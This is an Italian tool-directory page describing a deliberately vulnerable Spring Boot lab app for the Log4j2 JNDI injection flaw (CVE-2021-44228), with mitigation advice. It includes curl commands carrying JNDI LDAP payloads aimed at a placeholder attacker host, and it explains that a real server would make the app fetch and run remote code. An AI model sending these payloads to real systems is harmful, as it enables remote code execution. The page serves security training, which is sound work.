Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/pravin-pp/log4j2-cve-2021-44228
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubpravin-pp/log4j2-cve-2021-44228

log4j2-CVE-2021-44228

Vulnerabile applicazione web Spring Boot che dimostra l'iniezione JNDI di Log4j2 (CVE-2021-44228) con passaggi di sfruttamento e indicazioni per la mitigazione per test di sicurezza e educazione.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
14 anni faNon ancora revisionato

Applicazione vulnerabile di esempio con Log4j2 (CVE-2021-44228)

Versioni affette: tutte le versioni dalla 2.0-beta9 alla 2.14.1

Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-44228

Utilizza Log4j 2.14.1 (tramite spring-boot-starter-log4j2 2.6.1).

Esecuzione dell'applicazione

Eseguila:

root@kitploit:~
Importa il progetto in un IDE Java come progetto Maven

Esegui CVEMainApplication.java come app Spring Boot.

Passaggi per lo sfruttamento

  • Quindi, attiva l'exploit usando:
root@kitploit:~
Per GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'


Per richiesta POST ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
  • Nota l'output, che mostra la connessione a un server LDAP dannoso:
root@kitploit:~
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]


Caused by: java.net.UnknownHostException: your-private-ip
  • Se fornisci i dettagli di un vero server LDAP, scaricherà l'oggetto e lo eseguirà nel tuo programma Java

Questa vulnerabilità ha impatto su tutti i server, sia quelli rivolti al client che i sistemi core backend, se la tua applicazione stampa messaggi di log con dati non convalidati..

  • Ad esempio, una stringa User-Agent contenente l'exploit potrebbe essere passata a un sistema backend scritto in Java che esegue indicizzazione o data science, e l'exploit potrebbe essere registrato. Ecco perché è fondamentale che tutto il software basato su Java che utilizza Log4j versione 2 sia aggiornato o abbia mitigazioni applicate immediatamente. Anche se il software esposto su Internet non è scritto in Java, è possibile che le stringhe vengano passate ad altri sistemi in Java, consentendo lo sfruttamento.

Mitigazione :

Riferimento : https://logging.apache.org/log4j/2.x/security.html

  • Correzione rapida per l'applicazione -> Nelle versioni >=2.10, questo comportamento può essere mitigato impostando la proprietà di sistema log4j2.formatMsgNoLookups o la variabile d'ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS su true. Per le versioni dalla 2.0-beta9 alla 2.10.0, la mitigazione consiste nel rimuovere la classe JndiLookup dal classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

  • Aggiorna a log4j 2.15.0 nell'applicazione e distribuisci

Scarica lo strumento